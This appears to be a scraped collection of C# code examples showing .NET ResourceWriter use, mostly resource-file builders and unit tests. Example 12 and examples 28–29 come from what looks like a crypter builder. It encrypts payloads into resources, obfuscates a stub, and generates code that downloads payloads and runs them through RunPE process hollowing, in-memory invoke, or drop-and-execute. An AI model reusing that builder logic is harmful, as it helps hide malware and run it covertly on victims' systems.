static void Assemble(string pattern)
	{
		string[] files = Directory.GetFiles(Directory.GetCurrentDirectory(), pattern);
		
		foreach (string file in files) {
			if (Path.GetExtension(file).ToUpper() == ".XML") {
				try {
					XmlDocument  doc = new XmlDocument();
					doc.Load(file);
					string resfilename = "StringResources." + doc.DocumentElement.Attributes["language"].InnerText + ".resources";
					ResourceWriter  rw = new ResourceWriter(resfilename);
					
					foreach (XmlElement el in doc.DocumentElement.ChildNodes) {
						rw.AddResource(el.Attributes["name"].InnerText, 
						               el.InnerText);
					}
					
					rw.Generate();
					rw.Close();
				} catch (Exception e) {
					Console.WriteLine("Error while processing " + file + " :");
					Console.WriteLine(e.ToString());
				}
			}
		}
	}
	public static int Main(string[] args)
	{
		try{
		Console.WriteLine("! MakeRes is using .NET version: " + Environment.Version.ToString());
		ResourceWriter rw = new ResourceWriter(args[0] + ".resources");
		for(int i = 1; i < args.Length; i = i + 2)
		{
			using(FileStream fs = File.OpenRead(args[i + 1]))
			{
				byte[] buffer = new byte[fs.Length];
				fs.Read(buffer, 0, buffer.Length);
				Console.WriteLine("ID = " + args[i]);
				rw.AddResource(args[i], buffer);
				fs.Close();
				SHA1 sha = new SHA1CryptoServiceProvider();
				byte[] result = sha.ComputeHash(buffer);
				WriteHash(args[0] + "."+ args[i], result);
			}
		}
		rw.Close();
	}catch(Exception ex)
	{
			Console.WriteLine("# MareRes Error: " + ex.Message + "\r\n" +  ex.StackTrace);
			return 1;
		}
		return 0;
	}
 static void Main()
   {
   ResourceWriter writer = new ResourceWriter("test.resources");
   writer.AddResource("1", "2");
   writer.Generate();
   writer.Close();
   }
Ejemplo n.º 4
0
 static void Main()
 {
     ResourceWriter rw = new ResourceWriter("MCListBox.resources");
         using(Image image = Image.FromFile("../../TRFFC10a.ICO"))
         {
             rw.AddResource("StopLight",image);
             rw.Close();
         }
 }
Ejemplo n.º 5
0
        public static ResourceWriter GenerateResourceStream(Dictionary<string, string> inp_dict, MemoryStream ms)
        {

            ResourceWriter rw = new ResourceWriter(ms);
            foreach (KeyValuePair<string, string> e in inp_dict)
            {
                string name = e.Key;
                string values = e.Value;
                rw.AddResource(name, values);
            }
            rw.Generate();
            ms.Seek(0L, SeekOrigin.Begin);
            return rw;
        }
Ejemplo n.º 6
0
Archivo: res.cs Proyecto: Diullei/Storm
        public static void Main(string[] args)
        {
            const string usage = "Usage: cscscript res <fileIn> <fileOut>...\n" +
                                "Generates .resources file.\n" +
                                "fileIn - input file (etc .bmp). Specify 'dummy' to prepare empty .resources file (etc. css res dummy Scripting.Form1.resources).\n" +
                                "fileOut - output file name (etc .resource).\n";

            try
            {
                //Debug.Assert(false);
                if (args.Length < 2)
                    Console.WriteLine(usage);
                else
                {
                    //currently no .resx compilation with ResGen.exe is implemented, only dummy ressource copying
                    if (string.Compare(args[0], "dummy") == 0)
                    {
                        if (Environment.GetEnvironmentVariable(@"CSSCRIPT_DIR") == null)
                            return; //CS-Script is not installed

                        string srcFile = Environment.ExpandEnvironmentVariables(@"%CSSCRIPT_DIR%\lib\resources.template");
                        string destFile = ResolveAsmLocation(args[1]);

                        if (!File.Exists(destFile))
                            File.Copy(srcFile, destFile, true);
                    }
                    else
                    {
                        var fileToEmbedd = Environment.ExpandEnvironmentVariables(args[0]);
                        var resFile = Environment.ExpandEnvironmentVariables(args[1]);
                        using (ResourceWriter resourceWriter = new ResourceWriter(resFile))
                        {
                            resourceWriter.AddResource(Path.GetFileName(fileToEmbedd), File.ReadAllBytes(fileToEmbedd));
                            resourceWriter.Generate();
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                throw ex;
            }
        }
Ejemplo n.º 7
0
    static public void Main(string[] args)
    {
	    string sourceDir = Path.GetDirectoryName(args[0]);
		
        string[] files = new string[]
        {
            Path.Combine(sourceDir, "css_logo_256x256.png"),
            Path.Combine(sourceDir, "donate.png")
        };

        var resFile = Path.Combine(sourceDir, "images.resources");
        using (var resourceWriter = new ResourceWriter(resFile))
        {
            foreach (string file in files)
                resourceWriter.AddResource(Path.GetFileName(file), new Bitmap(file));

            resourceWriter.Generate();
        }
    }
        private void BuildBinaryResource()
        {
            if (File.Directory == null)
            {
                return;
            }

            var extension = String.IsNullOrEmpty(Language) ? "resources" : $"{Language}.resources";
            var path      = Path.Combine(File.Directory.FullName, $"{Name}.{extension}");

            using var resx = new ResourceWriter(path);

            foreach (var(key, value) in Translations)
            {
                resx.AddResource(key, value);
            }

            resx.Generate();

            resx.Close();
            Console.WriteLine($"Binary resource file generated: {path}");
        }
Ejemplo n.º 9
0
        [Test]         // bug #81757
        public void ReadNullResource()
        {
            MemoryStream   stream = new MemoryStream();
            object         value  = null;
            ResourceWriter rw     = new ResourceWriter(stream);

            rw.AddResource("NullTest", value);
            rw.Generate();
            stream.Position = 0;

            using (ResourceReader rr = new ResourceReader(stream)) {
                int entryCount = 0;
                foreach (DictionaryEntry de in rr)
                {
                    Assert.AreEqual("NullTest", de.Key, "#1");
                    Assert.IsNull(de.Value, "#2");
                    Assert.AreEqual(0, entryCount, "#3");
                    entryCount++;
                }
                Assert.AreEqual(1, entryCount, "#4");
            }
        }
Ejemplo n.º 10
0
 public static void ExceptionforResWriter03()
 {
     Assert.Throws <ArgumentNullException>(() =>
     {
         byte[] buffer = new byte[_RefBuffer.Length];
         using (var ms2 = new MemoryStream(buffer, true))
         {
             var rw1 = new ResourceWriter(ms2);
             try
             {
                 rw1.AddResource(null, "args");
             }
             finally
             {
                 Assert.Throws <ArgumentOutOfRangeException>(() =>
                 {
                     rw1.Dispose();
                 });
             }
         }
     });
 }
Ejemplo n.º 11
0
    public static void Main()
    {
        // Bitmap as stream.
        MemoryStream bitmapStream = new MemoryStream();
        Bitmap       bmp          = new Bitmap(@".\ContactsIcon.jpg");

        bmp.Save(bitmapStream, ImageFormat.Jpeg);

        // Define resources to be written.
        using (ResourceWriter rw = new ResourceWriter(@".\ContactResources.resources"))
        {
            rw.AddResource("Title", "Contact List");
            rw.AddResource("NColumns", 5);
            rw.AddResource("Icon", bitmapStream);
            rw.AddResource("Header1", "Name");
            rw.AddResource("Header2", "City");
            rw.AddResource("Header3", "State");
            rw.AddResource("VersionDate", new DateTimeTZI(
                               new DateTime(2012, 5, 18),
                               TimeZoneInfo.Local));
            rw.AddResource("ClientVersion", true);
            rw.Generate();
        }
    }
Ejemplo n.º 12
0
        void bw_portable_DoWork(object sender, DoWorkEventArgs e)
        {
            DisableAll(true);
            string path = (string)e.Argument;

            try
            {
                List <FileHandle.FileEx> files = new List <FileHandle.FileEx>();
                int i = 1;
                foreach (string item in lstFiles.Items)
                {
                    Log(string.Format("Encrypting {0} | {1}/{2}", Path.GetFileName(item), i, lstFiles.Items.Count), Type.Notice);
                    FileHandle.FileEx file = new FileHandle.FileEx();
                    file.name = Path.GetFileName(item);
                    file.data = File.ReadAllBytes(item);
                    files.Add(file);
                    i++;
                }
                byte[] rawData       = FileHandle.CombineFiles(files.ToArray());
                byte[] encryptedData = Encryption.Encrypt(rawData, txtPassword.Text);
                Log("File(s) encrypted successfully !", Type.Success);

                string ResFile = Path.Combine(Application.StartupPath, "Encrypted.resources");
                using (ResourceWriter Writer = new ResourceWriter(ResFile))
                {
                    Writer.AddResource("encfile", encryptedData);
                    Writer.Generate();
                }
                string Source = XProtect.Properties.Resources.stub;
                Compiler.Compile(Source, path, ResFile, null);
                File.Delete(ResFile);
            }
            catch
            {
                Log("Some error occured !", Type.Error);
            }
            DisableAll(false);
        }
Ejemplo n.º 13
0
        public SpecialResourceWriter()
        {
            // Load all bunlde
            IList <IResourceBundle> allBundle = new List <IResourceBundle>(20);

            allBundle.Add(ResourceBundleFactory.CreateBundle("CanonMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("CasioMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("Commons", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("ExifInteropMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("ExifMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("FujiFilmMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("GpsMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("IptcMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("JpegMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("KodakMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("KyoceraMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("NikonTypeMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("OlympusMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("PanasonicMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("PentaxMarkernote", null, ResourceBundleFactory.USE_TXTFILE));
            allBundle.Add(ResourceBundleFactory.CreateBundle("SonyMarkernote", null, ResourceBundleFactory.USE_TXTFILE));

            IEnumerator <IResourceBundle> enumRb = allBundle.GetEnumerator();

            while (enumRb.MoveNext())
            {
                IResourceBundle bdl = enumRb.Current;
                IDictionary <string, string> idic    = bdl.Entries;
                IDictionaryEnumerator        enumDic = (IDictionaryEnumerator)idic.GetEnumerator();
                using (var rw = new ResourceWriter(bdl.Fullname + ".resources"))
                {
                    while (enumDic.MoveNext())
                    {
                        rw.AddResource((string)enumDic.Key, (string)enumDic.Value);
                    }
                }
            }
        }
Ejemplo n.º 14
0
    private static void BuildResources(XmlElement root)
    {
        string outFile = root.GetAttribute("out");

        if (string.IsNullOrEmpty(outFile))
        {
            Console.WriteLine("Out file is not specified");
            return;
        }
        ResourceWriter writer = new ResourceWriter(outFile);

        foreach (XmlNode nodeI in root.ChildNodes)
        {
            XmlElement elementI = nodeI as XmlElement;
            if (elementI != null)
            {
                if (elementI.Name == "icon")
                {
                    string name = elementI.GetAttribute("name");
                    if (string.IsNullOrEmpty(name))
                    {
                        Console.WriteLine("Missing name attribute");
                        writer.Close();
                        return;
                    }
                    string src = elementI.GetAttribute("src");
                    if (string.IsNullOrEmpty(src))
                    {
                        Console.WriteLine("Missing src attribute");
                        writer.Close();
                        return;
                    }
                    writer.AddResource(name, new Icon(src));
                }
            }
        }
        writer.Close();
    }
Ejemplo n.º 15
0
        public static void InsertEmployee(string key, string value, string comment)
        {
            bool temp = false;

            for (int i = 0; i < l.Count; i++)
            {
                if (l[i].key == key)
                {
                    temp = true;
                }
            }
            if (temp == false)
            {
                l.Add(new ResourceObj(key, value, comment));
            }
            ResourceWriter rsxw = new ResourceWriter(path);

            for (int i = 0; i < l.Count; i++)
            {
                rsxw.AddResource("obj" + i.ToString(), l[i]);
            }
            rsxw.Close();
        }
Ejemplo n.º 16
0
        public static void GenerateResources()
        {
            byte[] buffer = new byte[_RefBuffer.Length];
            using (var ms2 = new MemoryStream(buffer, true))
            {
                using (var rw = new ResourceWriter(ms2))
                {
                    foreach (var e in s_dict)
                    {
                        string name   = e.Key;
                        string values = e.Value;

                        rw.AddResource(name, values);
                    }

                    rw.Generate();
                }
            }

            bool hError = buffer.SequenceEqual(_RefBuffer);

            Assert.True(hError, "The generated Resource does not match the reference");
        }
        [Test] // AddResource (string, byte [])
        public void AddResource0_Name_Null()
        {
            byte [] value = new byte [] { 5, 7 };

            MemoryStream   ms     = new MemoryStream();
            ResourceWriter writer = new ResourceWriter(ms);

            try
            {
                writer.AddResource((string)null, value);
                Assert.Fail("#1");
            }
            catch (ArgumentNullException ex)
            {
                Assert.AreEqual(typeof(ArgumentNullException), ex.GetType(), "#2");
                Assert.IsNull(ex.InnerException, "#3");
                Assert.IsNotNull(ex.Message, "#4");
                Assert.IsNotNull(ex.ParamName, "#5");
                Assert.AreEqual("name", ex.ParamName, "#6");
            }

            writer.Close();
        }
Ejemplo n.º 18
0
        private static Stream GetResxResourceStream(string resxFilePath)
        {
            using (var fs = File.OpenRead(resxFilePath))
            {
                var document = XDocument.Load(fs);

                var ms = new MemoryStream();
                var rw = new ResourceWriter(ms);

                foreach (var e in document.Root.Elements("data"))
                {
                    string name  = e.Attribute("name").Value;
                    string value = e.Element("value").Value;

                    rw.AddResource(name, value);
                }

                rw.Generate();
                ms.Seek(0, SeekOrigin.Begin);

                return(ms);
            }
        }
Ejemplo n.º 19
0
        /// <summary>
        /// 另存为指定路径的资源文件
        /// </summary>
        /// <param name="filepath">指定的文件路径</param>
        public void SaveAs(string filepath)
        {
            if (filepath.Length == 0)
            {
                return;
            }

            //如果存在则先删除
            if (File.Exists(filepath))
            {
                File.Delete(filepath);
            }

            string tempFile = HConst.TemplatePath + "\\encryFile.resx";

            using (ResourceWriter ResWriter = new ResourceWriter(tempFile))
            {
                foreach (DictionaryEntry tDictEntry in this.m_Hashtable)
                {
                    //添加资源对
                    ResWriter.AddResource(tDictEntry.Key.ToString(), tDictEntry.Value);
                }

                //将所有资源以系统默认格式输出到流
                ResWriter.Generate();

                ResWriter.Close();
            }

            //文件加密
            //Security tSecurity = new Security();
            //tSecurity.EncryptDES(tempFile, filepath);
            File.Copy(tempFile, filepath);

            //删除临时文件
            File.Delete(tempFile);
        }
Ejemplo n.º 20
0
        public void AddResource_Stream_Details()
        {
            MemoryStream   ms = new MemoryStream();
            ResourceWriter rw = new ResourceWriter(ms);

            ResourceStream stream = new ResourceStream("MonoTest");

            // Set Position so we can test the ResourceWriter is resetting
            // it to 0 when generating.
            stream.Position = 2;
            rw.AddResource("Name", stream);
            rw.Generate();

            ms.Position = 0;
            ResourceReader rr    = new ResourceReader(ms);
            string         value = GetStringFromResource(rr, "Name");

            Assert.AreEqual("MonoTest", value, "#A1");
            Assert.AreEqual(false, stream.IsDiposed, "#A2");

            // Test the second overload
            stream.Reset();
            ms = new MemoryStream();
            rw = new ResourceWriter(ms);
            rw.AddResource("Name", stream, true);
            rw.Generate();

            ms.Position = 0;
            rr          = new ResourceReader(ms);
            value       = GetStringFromResource(rr, "Name");
            Assert.AreEqual("MonoTest", value, "#B1");
            Assert.AreEqual(true, stream.IsDiposed, "#B2");

            rr.Close();
            rw.Close();
            stream.Close();
        }
        public void SaveFile(FileName filename, Stream stream)
        {
            switch (Path.GetExtension(filename).ToLowerInvariant())
            {
            case ".resx":
                // write XML resource
                ResXResourceWriter rxw = new ResXResourceWriter(stream, t => ResXConverter.ConvertTypeName(t, filename));
                foreach (ResourceItem entry in resourceItems)
                {
                    if (entry != null)
                    {
                        rxw.AddResource(entry.ToResXDataNode(t => ResXConverter.ConvertTypeName(t, filename)));
                    }
                }
                foreach (ResourceItem entry in metadataItems)
                {
                    if (entry != null)
                    {
                        rxw.AddMetadata(entry.Name, entry.ResourceValue);
                    }
                }
                rxw.Generate();
                rxw.Close();
                break;

            default:
                // write default resource
                ResourceWriter rw = new ResourceWriter(stream);
                foreach (ResourceItem entry in resourceItems)
                {
                    rw.AddResource(entry.Name, entry.ResourceValue);
                }
                rw.Generate();
                rw.Close();
                break;
            }
        }
Ejemplo n.º 22
0
        [Test] // bug #79976
        public void ByteArray()
        {
            byte [] content = new byte [] { 1, 2, 3, 4, 5, 6 };

            Stream stream = null;

#if NET_2_0
            // we currently do not support writing v2 resource files
            stream = new MemoryStream();
            stream.Write(byte_resource_v2, 0, byte_resource_v2.Length);
            stream.Position = 0;
#else
            using (IResourceWriter rw = new ResourceWriter(_tempResourceFile))
            {
                rw.AddResource("byteArrayTest", content);
                rw.Generate();
            }

            stream = File.OpenRead(_tempResourceFile);
#endif

            using (stream)
            {
                int entryCount = 0;
                using (IResourceReader rr = new ResourceReader(stream))
                {
                    foreach (DictionaryEntry de in rr)
                    {
                        Assert.AreEqual("byteArrayTest", de.Key, "#1");
                        Assert.AreEqual(content, de.Value, "#2");
                        entryCount++;
                    }
                }
                Assert.AreEqual(1, entryCount, "#3");
            }
        }
Ejemplo n.º 23
0
        public void AddResource_Stream_Default()
        {
            MemoryStream stream = new MemoryStream();

            byte [] buff = Encoding.Unicode.GetBytes("Miguel");
            stream.Write(buff, 0, buff.Length);
            stream.Position = 0;

            ResourceWriter rw = new ResourceWriter("Test/resources/AddResource_Stream.resources");

            rw.AddResource("Name", (object)stream);
            rw.Close();

            ResourceReader        rr         = new ResourceReader("Test/resources/AddResource_Stream.resources");
            IDictionaryEnumerator enumerator = rr.GetEnumerator();

            // Get the first element
            Assert.AreEqual(true, enumerator.MoveNext(), "#A0");

            DictionaryEntry de = enumerator.Entry;

            Assert.AreEqual("Name", enumerator.Key, "#A1");
            Stream result_stream = de.Value as Stream;

            Assert.AreEqual(true, result_stream != null, "#A2");

            // Get the data and compare
            byte [] result_buff = new byte [result_stream.Length];
            result_stream.Read(result_buff, 0, result_buff.Length);
            string string_res = Encoding.Unicode.GetString(result_buff);

            Assert.AreEqual("Miguel", string_res, "#A3");

            rr.Close();
            stream.Close();
        }
Ejemplo n.º 24
0
        private void btSave_Click(object sender, EventArgs e)
        {
            testdbNNDataSet.WriteXml(String.Format("{0}/data.xml", Application.StartupPath));

            ResourceWriter ren = new ResourceWriter(Application.StartupPath + "/resource.en-US.resources");

            ResourceWriter rde = new ResourceWriter(Application.StartupPath + "/resource.de-DE.resources");

            ResourceWriter rvn = new ResourceWriter(Application.StartupPath + "/resource.vn-VN.resources");

            foreach (testdbNNDataSet.NgonNguRow row in testdbNNDataSet.NgonNgu.Rows)
            {
                ren.AddResource(row.ID, row.English);
                rde.AddResource(row.ID, row.German);
                rvn.AddResource(row.ID, row.Vietnamese);
            }
            ren.Generate();
            ren.Close();
            rde.Generate();
            rde.Close();
            rvn.Generate();
            rvn.Close();
            MessageBox.Show("đã nhập ngôn ngữ thành công", "thông tin", MessageBoxButtons.OK, MessageBoxIcon.Information);
        }
Ejemplo n.º 25
0
        private void CompileResourceFile(IEnumerable <KeyValuePair <string, string> > resxKeyValuePairs)
        {
            var sw = Stopwatch.StartNew();

            using (IResourceWriter writer = new ResourceWriter(CompiledResourcesFilePath))
            {
                foreach (var resxKeyValue in resxKeyValuePairs)
                {
                    try
                    {
                        writer.AddResource(resxKeyValue.Key.ToString(), resxKeyValue.Value);
                    }
                    catch (Exception ex)
                    {
                        throw new FrameworkException(string.Format("Error while compiling resource file \"{0}\" on key \"{1}\".", ResourcesFileName, resxKeyValue.Key.ToString()), ex);
                    }
                }

                writer.Generate();
                writer.Close();
            }
            _cacheUtility.CopyToCache(CompiledResourcesFilePath);
            _performanceLogger.Write(sw, nameof(CompileResourceFile));
        }
Ejemplo n.º 26
0
        public static bool RemoveResEntry(string resourceFile, string resEntryKey)
        {
            var isKeyExist = false;

            using (var reader = new ResourceReader(resourceFile))
            {
                using (var writer = new ResourceWriter(resourceFile))
                {
                    var de = reader.GetEnumerator();
                    while (de.MoveNext())
                    {
                        if (!de.Entry.Key.ToString().Equals(resEntryKey, StringComparison.InvariantCultureIgnoreCase))
                        {
                            writer.AddResource(de.Entry.Key.ToString(), de.Entry.Value.ToString());
                        }
                        else
                        {
                            isKeyExist = true;
                        }
                    }
                }
            }
            return(isKeyExist);
        }
Ejemplo n.º 27
0
    public virtual bool runTest()
    {
        Console.WriteLine(s_strTFPath + " " + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer);
        int            iCountErrors    = 0;
        int            iCountTestcases = 0;
        String         strLoc          = "Loc_000oo";
        ResourceWriter writer;
        ThreadStart    tdst1;

        Thread[] thdPool;
        Boolean  fLoopExit;

        try {
            do
            {
                iCountTestcases++;
                if (File.Exists(Environment.CurrentDirectory + "\\Co3878_A.resources"))
                {
                    File.Delete(Environment.CurrentDirectory + "\\Co3878_A.resources");
                }
                writer = new ResourceWriter("Co3878_A.resources");
                for (int i = 0; i < iNumberOfStringsInFile; i++)
                {
                    writer.AddResource("Key " + i, "Value " + i);
                }
                writer.Generate();
                writer.Close();
                iThreadsCompleted = 0;
                thdPool           = new Thread[iNumberOfThreads];
                for (int i = 0; i < iNumberOfThreads; i++)
                {
                    tdst1      = new ThreadStart(this.RSMangerForEachThread);
                    thdPool[i] = new Thread(tdst1);
                }
                for (int i = 0; i < iNumberOfThreads; i++)
                {
                    thdPool[i].Start();
                }
                do
                {
                    int numberAlive = 0;
                    fLoopExit = false;
                    Thread.Sleep(100);
                    for (int i = 0; i < iNumberOfThreads; i++)
                    {
                        if (thdPool[i].IsAlive)
                        {
                            fLoopExit = true;
                            numberAlive++;
                        }
                    }
                }while(fLoopExit);
                if (iThreadsCompleted != iNumberOfThreads)
                {
                    iCountErrors++;
                    Console.WriteLine("Err_67423csd! All the thrads didn't execute the function. Expected, " + iNumberOfThreads + " completed, " + iThreadsCompleted);
                }
                iCountTestcases++;
                if (File.Exists(Environment.CurrentDirectory + "\\Co3878_B.resources"))
                {
                    File.Delete(Environment.CurrentDirectory + "\\Co3878_B.resources");
                }
                writer = new ResourceWriter("Co3878_B.resources");
                for (int i = 0; i < iNumberOfStringsInFile; i++)
                {
                    writer.AddResource("Key " + i, "Value " + i);
                }
                writer.Generate();
                writer.Close();
                manager           = ResourceManager.CreateFileBasedResourceManager("Co3878_B", Environment.CurrentDirectory, null);
                iThreadsCompleted = 0;
                thdPool           = new Thread[iNumberOfThreads];
                for (int i = 0; i < iNumberOfThreads; i++)
                {
                    tdst1      = new ThreadStart(this.RSMangerForAllThreads);
                    thdPool[i] = new Thread(tdst1);
                }
                for (int i = 0; i < iNumberOfThreads; i++)
                {
                    thdPool[i].Start();
                }
                do
                {
                    fLoopExit = false;
                    Thread.Sleep(100);
                    for (int i = 0; i < iNumberOfThreads; i++)
                    {
                        if (thdPool[i].IsAlive)
                        {
                            fLoopExit = true;
                        }
                    }
                }while(fLoopExit);
                if (iThreadsCompleted != iNumberOfThreads)
                {
                    iCountErrors++;
                    Console.WriteLine("Err_7539cd! All the threads didn't execute the function. Expected, " + iNumberOfThreads + " completed, " + iThreadsCompleted);
                }
                manager.ReleaseAllResources();
            } while (false);
        } catch (Exception exc_general) {
            ++iCountErrors;
            Console.WriteLine(s_strTFAbbrev + " : Error Err_8888yyy!  strLoc==" + strLoc + ", exc_general==" + exc_general);
        }
        if (iCountErrors == 0)
        {
            Console.WriteLine("paSs.   " + s_strTFPath + " " + s_strTFName + " ,iCountTestcases==" + iCountTestcases);
            return(true);
        }
        else
        {
            Console.WriteLine("FAiL!   " + s_strTFPath + " " + s_strTFName + " ,iCountErrors==" + iCountErrors + " , BugNums?: " + s_strActiveBugNums);
            return(false);
        }
    }
Ejemplo n.º 28
0
        private void CompileStub()
        {
            try
            {
                string resourceName = BytecodeApi.Create.AlphaNumericString(MathEx.Random.Next(20, 30));
                uint   stage2Key;
                uint   stage2PaddingMask;
                int    stage2PaddingByteCount;

                // Encrypt stage2 into [random name].resources
                using (ResourceWriter resourceWriter = new ResourceWriter(GetIntermediateSourcePath(@"Resources\" + StubResourcesFileName)))
                {
                    string encryptedPath = GetIntermediateBinaryPath("stage2.exe_encrypted");
                    Helper.EncryptData
                    (
                        GetIntermediateBinaryPath("stage2.exe"),
                        encryptedPath,
                        Project.Stub.Padding,
                        out stage2Key,
                        out stage2PaddingMask,
                        out stage2PaddingByteCount
                    );

                    resourceWriter.AddResource(resourceName, File.ReadAllBytes(encryptedPath));
                }

                // Compile stub
                string[] stubLines = File.ReadAllLines(GetIntermediateSourcePath("Stub.cs"));
                using (CSharpStream assembly = new CSharpStream(GetIntermediateSourcePath("Stub.cs")))
                {
                    foreach (string line in stubLines)
                    {
                        if (line.Trim() == "//{STAGE2HEADER}")
                        {
                            assembly.Indent = 12;

                            assembly.Emit("string resourceFileName = /**/\"" + StubResourcesFileName + "\";");
                            assembly.Emit("string resourceName = /**/\"" + resourceName + "\";");
                            assembly.Emit("const long stage2Size = " + new FileInfo(GetIntermediateBinaryPath("stage2.exe")).Length + ";");
                            assembly.Emit("uint key = 0x" + stage2Key.ToString("x8") + ";");
                            assembly.Emit("uint paddingMask = 0x" + stage2PaddingMask.ToString("x8") + ";");
                            assembly.Emit("int paddingByteCount = /**/" + stage2PaddingByteCount + ";");
                        }
                        else
                        {
                            assembly.WriteLine(line);
                        }
                    }
                }

                // Add VersionInfo
                if (!Project.VersionInfo.IsEmpty)
                {
                    using (CSharpStream versionInfo = new CSharpStream(GetIntermediateSourcePath("VersionInfo.cs")))
                    {
                        versionInfo.Emit("using System.Reflection;");
                        versionInfo.WriteLine();

                        if (!Project.VersionInfo.FileDescription.IsNullOrEmpty())
                        {
                            versionInfo.Emit("[assembly: AssemblyTitle(" + new QuotedString(Project.VersionInfo.FileDescription) + ")]");
                        }
                        if (!Project.VersionInfo.ProductName.IsNullOrEmpty())
                        {
                            versionInfo.Emit("[assembly: AssemblyProduct(" + new QuotedString(Project.VersionInfo.ProductName) + ")]");
                        }
                        if (!Project.VersionInfo.FileVersion.IsNullOrEmpty())
                        {
                            versionInfo.Emit("[assembly: AssemblyFileVersion(" + new QuotedString(Project.VersionInfo.FileVersion) + ")]");
                        }
                        if (!Project.VersionInfo.ProductVersion.IsNullOrEmpty())
                        {
                            versionInfo.Emit("[assembly: AssemblyInformationalVersion(" + new QuotedString(Project.VersionInfo.ProductVersion) + ")]");
                        }
                        if (!Project.VersionInfo.Copyright.IsNullOrEmpty())
                        {
                            versionInfo.Emit("[assembly: AssemblyCopyright(" + new QuotedString(Project.VersionInfo.Copyright) + ")]");
                        }
                    }

                    StubSourceCodeFiles.Add("VersionInfo.cs");
                }

                // Obfuscate code
                Obfuscator.ObfuscateFile(GetIntermediateSourcePath("Stub.cs"));
            }
            catch (ErrorException ex)
            {
                Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, ex.Message, ex.Details);
            }
            catch (Exception ex)
            {
                Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, "Unhandled " + ex.GetType() + " while compiling stub.", ex.GetFullStackTrace());
            }
        }
Ejemplo n.º 29
0
        private void CompileStage2()
        {
            try
            {
                // Only compile methods that are needed
                if (Project.Sources.OfType <EmbeddedSource>().Any())
                {
                    Stage2SourceCodeFiles.Add("GetResource.cs");
                }
                if (Project.Sources.OfType <EmbeddedSource>().Any(source => source.Compress))
                {
                    Stage2SourceCodeFiles.Add("Compression.cs");
                }
                if (Project.Sources.OfType <DownloadSource>().Any())
                {
                    Stage2SourceCodeFiles.Add("Download.cs");
                }
                if (Project.Actions.OfType <RunPEAction>().Any())
                {
                    Stage2SourceCodeFiles.Add("RunPE.cs");
                }
                if (Project.Actions.OfType <InvokeAction>().Any())
                {
                    Stage2SourceCodeFiles.Add("Invoke.cs");
                }
                if (Project.Actions.OfType <DropAction>().Any())
                {
                    Stage2SourceCodeFiles.Add("Drop.cs");
                }

                // Compile resources
                using (ResourceWriter resourceWriter = new ResourceWriter(GetIntermediateSourcePath(@"Resources\" + Stage2ResourcesFileName)))
                {
                    foreach (EmbeddedSource source in Project.Sources.OfType <EmbeddedSource>())
                    {
                        byte[] file = File.ReadAllBytes(source.Path);
                        resourceWriter.AddResource(source.AssemblyId.ToString(), source.Compress ? Compression.Compress(file) : file);
                    }
                }

                // Compile main program
                string[] stage2Lines = File.ReadAllLines(GetIntermediateSourcePath("Stage2.cs"));
                using (CSharpStream assembly = new CSharpStream(GetIntermediateSourcePath("Stage2.cs")))
                {
                    if (Project.Startup.Melt)
                    {
                        assembly.Emit("#define MELT");
                        assembly.WriteLine();
                    }

                    foreach (string line in stage2Lines)
                    {
                        if (line.Trim() == "//{MAIN}")
                        {
                            assembly.Indent = 8;

                            // Compile actions
                            foreach (ProjectAction action in Project.Actions)
                            {
                                assembly.EmitLabel("action_" + action.AssemblyId);
                                assembly.Emit("try");
                                assembly.BlockBegin();

                                // Retrieve source
                                if (action.Source is EmbeddedSource embeddedSource)
                                {
                                    assembly.EmitComment("Get embedded file: " + Path.GetFileName(embeddedSource.Path));
                                    assembly.Emit("byte[] payload = __GetResource(/**/\"" + embeddedSource.AssemblyId + "\");");
                                    assembly.WriteLine();

                                    if (embeddedSource.Compress)
                                    {
                                        assembly.EmitComment("Decompress embedded file");
                                        assembly.Emit("payload = __Decompress(payload);");
                                        assembly.WriteLine();
                                    }
                                }
                                else if (action.Source is DownloadSource downloadSource)
                                {
                                    assembly.EmitComment("Download: " + downloadSource.Url);
                                    assembly.Emit("byte[] payload = __Download(/**/\"" + downloadSource.Url + "\");");
                                    assembly.WriteLine();
                                }
                                else if (action is MessageBoxAction)
                                {
                                }
                                else
                                {
                                    throw new InvalidOperationException();
                                }

                                // Perform action
                                if (action is RunPEAction)
                                {
                                    assembly.EmitComment("RunPE");
                                    assembly.Emit("__RunPE(Application.ExecutablePath, __CommandLine, payload);");
                                }
                                else if (action is InvokeAction)
                                {
                                    assembly.EmitComment("Invoke .NET executable");
                                    assembly.Emit("__Invoke(payload);");
                                }
                                else if (action is DropAction dropAction)
                                {
                                    assembly.EmitComment("Drop " + dropAction.Location.GetDescription() + @"\" + dropAction.FileName + (dropAction.ExecuteVerb == ExecuteVerb.None ? null : " and execute (verb: " + dropAction.ExecuteVerb.GetDescription() + ")"));
